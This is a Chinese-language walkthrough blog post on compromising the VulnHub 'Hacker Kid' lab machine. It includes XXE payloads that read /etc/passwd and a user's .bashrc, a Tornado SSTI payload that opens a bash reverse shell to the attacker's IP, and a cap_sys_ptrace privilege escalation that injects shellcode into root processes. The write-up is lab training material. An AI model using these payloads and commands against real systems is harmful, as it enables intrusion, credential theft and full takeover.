vulnhub-Hacker_Kid-v1.0.1 靶场 打靶记录

环境准备

靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

攻击机地址:192.168.232.129

靶机地址:192.168.232.143

网络模式:NAT

信息收集

主机发现

nmap -sP 192.168.232.0/24

 端口发现

nmap -sV -A -p- -T4 192.168.232.143

53(DNS服务)

80(HTTP apache服务)

9999(HTTP tornado服务)tornado为python的web框架

访问一下网址

 

扫描目录

python3 dirsearch.py -u http://192.168.232.143/

python3 dirsearch.py -u http://192.168.232.143:9999/

从扫描两个web端口的目录来看没有什么有用的

 发现80端口网页的源代码中有一行注释:

 如图所示告诉我们提交一个 GET 参数 page_no 来浏览页面。

按照这个方法试试看。猜测sql注入?测试过后似乎行不通

http://192.168.232.143/?page_no=1

 如图所示当提交了 page_no=1 时返回了一句嘲讽的话:

Oh Man !! Isn’t is right to go a little deep inside?

使用burp抓包攻击多提交几个数字看看有什么不一样的

 

 

如图所示爆破处理结果,当 page_no=21时,有不一样的结果:

Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local

翻译一下

好吧,你想让我说点什么吗<br>我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器<br>在我众多的家中。。。一个这样的家。。我有一个这样的家:hackers.blackhat.local

创建了一个 域名,那么我们把 hackers.blackhat.local 添加到 /etc/hosts 中。

此时添加hosts的dns解析,kali的修改命令 vi /etc/hosts,Windows上的文件位置在C:\Windows\System32\drivers\etc
加上: 192.168.232.143 hackers.blackhat.local

DNS区域传输

使用提到的dig命令 ,axfr命令 可以得到所有的DNS解析记录

axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。

dig axfr @192.168.232.143 blackhat.local

 这里我们把192.168.232.143 hackerkid.blackhat.local加入 /etc/hosts 中 

如果想要在本机浏览器访问的话也需要在C:\Windows\System32\drivers\etc下的hosts下修改

 

好的本机访问成功 

尝试过几次会发现邮件都不行。。那抓包查看:

但是发现了这是通过xml发送到服务器的。看到了xml就联想到XXE漏洞,外部实体注入攻击

XXE注入

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

构造xml 数据包payload获取信息

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>

 

 发现一个 saket:x:1000:1000:Ubuntu,:/home/saket:/bin/bash 用户信息

我们尝试访问saket家目录下的.bashrc文件
Payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>


<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>

 能够看到加密的了密码base64加密

 username="admin"
password="Saket!#$%@!!"
这个密码直接拿去登录9999端口的页面,登录不上,密码肯定不会错啊,那只能考虑账号,拿用户账号尝试一下。。
saket

正确用户名为刚刚爆出来的
saket❌1000:1000:Ubuntu,:/home/saket:/bin/bash

 

 登进去之后,页面两句英文,没有任何思路那看看这些单词,可能有 变量 测试下name。

 SSTI模板注入

我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞

http://192.168.232.143:9999/?name={{1*2}}

 说明存在SSTI注入漏洞

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.232.129/7777 0>&1"')}} 
报错了。url编码试一下呢
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%33%32%2e%31%32%39%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d

 kali开启监听

nc -lvp 7777

执行后成功反弹shell

http://192.168.232.143:9999/?name=%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%33%32%2e%31%32%39%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d

 Capabilitie提权

/usr/sbin/getcap -r / 2>/dev/null

涉及知识点:
    Capabilities机制在Linux内核2.2之后引入
    原理:将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
 
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
 
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
 
 
利用下面这条命令发现具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null     
    -r:递归查询
    /dev/null:Linux的垃圾桶
    2:错误模式输出后面可以理解为如果有错误报告会直接删除不会显示
    /sbin:超级用户指令系统管理命令存放的是系统管理员使用的程序
    /getcap -r:查找setcap所设置的文件

可以发现python2.7具有cap_sys_ptrace+ep能力,所以我们可以对其利用进行提权

这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用python具备的cap_sys_ptrace+ep能力实现权限提升

此脚本如果执行成功,会在靶机本地监听5600端口,不过也可以修改脚本shellcode部分使其监听其他端口

进入靶机/tmp目录,把脚本下载到本地

cd /tmp     //进入tmp目录
git clone https://gitee.com/Re1-zf/shell.git     //下载注入脚本
cd shell   

使用脚本批量对root进程进行注入(此注入脚本会在目标机监听开启一个5600端口)

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

netstat -pantu | grep 5600   //查看是否开启

 

攻击机连接靶机5600端口

 已拿到root权限

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值